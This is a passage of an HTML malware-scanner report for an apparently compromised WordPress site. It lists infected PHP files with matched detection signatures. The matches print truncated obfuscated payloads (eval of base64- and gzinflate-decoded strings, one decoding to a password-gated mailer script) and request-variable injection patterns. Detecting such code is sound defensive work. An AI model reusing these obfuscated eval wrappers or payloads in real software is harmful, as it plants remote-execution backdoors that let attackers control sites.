</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_141").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/tjpji.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-02-04 16:45:58</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_142" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_142").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ynrab.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_143" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_143").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/9Txa5vbtVYM.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 43.97 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_144" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIGqBEpWjyr30jbf/hv5cD...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$YoKrR</span><span style="color: #007700">(</span><span style="color: #0000BB">$icyYU</span><span style="color: #007700">(</span><span style="color: #DD0000">'VTIlpz9lK3WypT9lqTyhMluSK0SZGS5SK05CIRyQEFx7MTIznJ5yXPsRblpfVPrHzPpcBlEUGR9PDHkGJ8FwKFN9VTI4pTkiMTHbW3jPsNW8NvpfVTq6nJ5zoTS0MFumqJWmqUVbWk+YPNNNNNNNNNcRaqrX41PoEJRrM3DuX0hKlwya3sjb52uy5hUUED8ZOI0O2zKesTsigJkM1MD3aYKG//mK/39V//3iZ0VtWVY/39rss5/uNbS/C6K+ssrsh/ed/77Z0z+Wb/8clajhla8/6cZ8i9BR5kHWIihiv3Hq/xbMcovfvgNptcIJBKgfbCGc4FfiyLF0ZVIQ9mz4FPBeuzt4kyXXw0Qs/AT4AZbVYYZ1jsM6LJarEbc+P+q+T0moPvG1WrYBvcONSkrBv0176x+mvegyS6Jr6TyOrHr+EaeHMhSVKvLz+yqlkWbsWNocZgHfzo2pUbuKhd4JDH79ychKzeIG...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_144").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/css/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_145" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'gv3ouUfJOiA+tDerh0xtKJlEGPkt7Lh503u/9o1fytXe4lH04H+cax+36Ha9yhPNMue9oTO85ivj93X5RU8ZtvPvrYtfzCVa+/ewx3v549dydHvSFe5+3O7h7k7xHv6BVL0tDuTnnJ4XNffqxnzmSEbsB6T/jerL279HvfdyRfzb3YExaITjjUweBfUzM5Ee78p9s/NK0zrW/gUCzRlSA61u8YFsN7FgIeT0HIwq4KNFIx0X73Yq/qqY90l2TOPQuBnxMqQ59DnsNuwRImRq7gAYkRJAI5LFi4TsdcyWGhnj9VfY4eyz/YsC0yuSOgyA1oLE9xLqbH1y7WSHZX82H/2Dda8m/s74DuOxPdtyWtWhKrNTwJZ5e8C3telZ/TD95L2rzz/Urb9ypn2r9Q6AvgUtGEdVFxWvvHnWVrA4v2JSMx7ScQ7lmn/mout+/9mmt2J0fBZVjqIAB4R2riBgKtjq2zAmZmxjx9KeOvcw96iHWj65VFd...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$gNQ</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_145").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/colors/ocean/ocean/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_146" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'cYOPw1A/XcEB4bH6WDpTaFSKJMeJbnXC3Zve7zjU7lbv88FH04H+ce++z+na985nHOvPf0JH+MzOXXPcVGRLY1++0+muprU/eU85Tv54/ef2Df76NaxLn/2dT96bX+4SP4Zh2txbm+1GvK64Td/ZmEiY/tRZu/1bdxfvvI9oP+HbOrGlEmDdKclAur5meGJn+7mO9H9qZRffxKHhKYPochoX3CjW8GsWEC4NxugCjSr2cwUWftfDpOrrutTUSf5/AZGfKToDtP3f6V4BLhYFrODBkBGmMQk8sPif1mxJb5EfGmUBth7rAvTxOgL7KJAJLkivYkHuQudWH/bGVkdw7wDbHkpzbOz8rf060g01Kb1aN+s0gQnj971LUX6XnNPJ63vYvuM+Xtp1jnv2b9Q6gugUtGEdVF1WjvnnWVrE4v2JSM17ycY4Xun/mout+/dmmt2R0fB5VjqIAB4R2riBgKrju2zAuZmxjx9KeOvcw96iDWT61VH...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$GHNL</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_146").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/colors/midnight/midnight/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_147" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'oDPGr2D4LKIXP8tGRrkqlcCY9UGusM2Td32HGsxLXf++nf47OO40sPO9M6+F9fa0/2CBHt3TP/Ud+mauTFQ1/KsZktjrW6Kw73Hu/9rPQPnd/OqcjXu/tze6W5e8xreQxm83g709pC+Vz3na85spEzarh+0/o26i9f/x7Xnc0382NGRsGy04KFsXwH1MTOl3Ofaf7fjC98qVPIlwcUpSQvWlHrg1bvACzTC9CJWFVhpAruea/Oy9VFm9Tb6P50Q5HQmzriE/0LyN4OHRYCLeBKwxEpgklzEPjbhxzNbZGWO2XBJR4o4/Sw6QEz65GCDUiio0Hm4ufUbvZB9kd1bXAWn0qxb+w2zP36Gg29Kb1SVuuzMA1o1b1Pc36Vm9NJynvc/OO7zdq9bXv87tR2MuiYJGFbBV3VTvlo61pF0P0Oqc20S8a8HOu164vpq/vved0JofC9VTqFoB6wCfgNoaooz2wL+Jk7nR8IeuuXwN7svmQw1lGd2...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$FmErZ</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_147").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-admin/css/colors/midnight/midnight/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 1.85 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_148" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
